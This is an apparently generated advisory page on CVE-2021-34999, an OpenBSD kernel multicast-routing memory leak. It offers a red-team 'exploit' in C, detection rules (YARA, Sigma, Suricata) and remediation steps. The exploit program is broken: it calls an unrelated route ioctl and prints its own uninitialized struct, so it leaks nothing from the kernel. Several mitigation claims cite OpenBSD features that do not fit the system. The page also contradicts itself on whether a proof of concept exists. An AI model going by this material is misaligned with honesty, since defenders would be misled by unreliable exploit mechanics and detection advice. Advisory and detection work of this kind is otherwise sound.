CVE-2021-34999
Executive Summary
CVE-2021-34999 is a local information disclosure vulnerability in the OpenBSD kernel’s multicast routing implementation. The flaw stems from uninitialized memory access, allowing a low-privileged attacker to leak sensitive kernel memory contents. While the CVSS score is low (3.8), the vulnerability can be chained with other exploits to achieve privilege escalation and arbitrary code execution in kernel context. No public proof-of-concept or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Base Score: 3.8 (Low)
- Attack Vector: Local
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: None
- Availability Impact: None
Threat Level: Low (due to local access requirement and limited direct impact), but elevated when chained with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability resides in the OpenBSD kernel’s multicast routing code. When processing multicast routing messages, the kernel fails to properly initialize memory buffers before copying them to user space. This uninitialized memory may contain sensitive kernel data (e.g., pointers, cryptographic keys, or other process data). An attacker with low privileges can trigger the flaw by sending crafted multicast routing requests, causing the kernel to return uninitialized memory regions.
Root Cause: Lack of memset() or equivalent zeroing of allocated memory before use in the multicast routing path.
Attack Scenario:
- Attacker gains low-privileged code execution on the target OpenBSD system.
- Attacker sends malicious multicast routing ioctl or sysctl calls.
- Kernel returns uninitialized memory, leaking sensitive data.
- Leaked data can be used to bypass KASLR or obtain credentials for further exploitation.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In multicast routing handler
struct mrt_route *route = malloc(sizeof(*route), M_MRTABLE, M_WAITOK);
// route->fields not initialized before copyout
copyout(route, user_ptr, sizeof(*route));
Patched Code (Expected):
struct mrt_route *route = malloc(sizeof(*route), M_MRTABLE, M_WAITOK | M_ZERO);
// or
memset(route, 0, sizeof(*route));
copyout(route, user_ptr, sizeof(*route));
No official patch has been confirmed. The fix would involve zeroing allocated memory before copying to user space.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local low-privileged shell on OpenBSD (any version before patch).
- Ability to call
ioctl()orsysctl()with multicast routing commands.
Exploitation Steps:
- Enumerate available multicast routing interfaces:
ifconfig | grep -i multicast - Write a C program to trigger the vulnerability:
#include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip_mroute.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> int main() { int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (fd < 0) { perror("socket"); return 1; } struct mrt_route route; // Intentionally not initializing route if (ioctl(fd, SIOCADDRT, &route) < 0) { perror("ioctl"); } // Read leaked data from route struct printf("Leaked data: %s\n", (char*)&route); close(fd); return 0; } - Compile and run:
gcc -o exploit exploit.c ./exploit - Analyze leaked memory for sensitive data (e.g., kernel pointers, process tokens).
Note: No public exploit code exists; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor for unusual
ioctlcalls to multicast routing interfaces. - Audit logs for
SIOCADDRT,SIOCDELRT, orMRT_INIToperations from non-root users. - Use kernel auditing (e.g.,
ktrace) to capture syscall patterns.
Hunting:
- Search for processes making raw socket calls with multicast routing options.
- Look for memory dumps or core files containing kernel pointers.
Indicators of Compromise (IOCs)
- Network: No network indicators (local vulnerability).
- Host:
- Unexpected
ioctlcalls to/dev/pfor raw sockets with multicast routing commands. - Kernel logs containing
mrt_routeorip_mrouteerrors. - Unusual memory patterns in
/dev/kmemor/proc(if accessible).
- Unexpected
- File:
- Compiled exploit binaries in
/tmpor user directories. - Source code containing
SIOCADDRTorMRT_INITconstants.
- Compiled exploit binaries in
Detection Engineering
YARA Rule
rule CVE_2021_34999_Exploit {
meta:
description = "Detects exploit code for CVE-2021-34999 OpenBSD kernel info leak"
author = "Valters IT"
date = "2025-04-10"
strings:
$ioctl = "SIOCADDRT" ascii wide nocase
$mrt = "ip_mroute.h" ascii wide nocase
$raw_socket = "SOCK_RAW" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: OpenBSD Multicast Routing Uninitialized Memory Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-34999 via ioctl calls
logsource:
product: openbsd
service: syslog
detection:
selection:
- EventID: 0
Message: "*ioctl*SIOCADDRT*"
- EventID: 0
Message: "*ioctl*MRT_INIT*"
condition: selection
falsepositives:
- Legitimate multicast routing configuration by root
level: medium
Suricata Rule
alert ip any any -> any any (msg:"CVE-2021-34999 OpenBSD Multicast Routing Exploit Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)
Note: Suricata rule is generic; local exploitation may not generate network traffic.
Remediation & Mitigation
Immediate Actions:
- Apply any available OpenBSD kernel patches (check
syspatchor source updates). - Restrict local user access to raw sockets and multicast routing ioctls via
kern.rawsocketsysctl. - Monitor for unusual kernel memory access patterns.
Long-Term Fix:
- Ensure all kernel memory allocations use
M_ZEROflag or explicitmemset()before copying to user space. - Conduct code audit of multicast routing path for similar issues.
Workarounds:
- Disable multicast routing if not needed:
sysctl net.inet.ip.mforwarding=0. - Use mandatory access controls (e.g.,
systrace,pledge) to limit process capabilities.
Valters IT
Securing OpenBSD, one kernel at a time.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.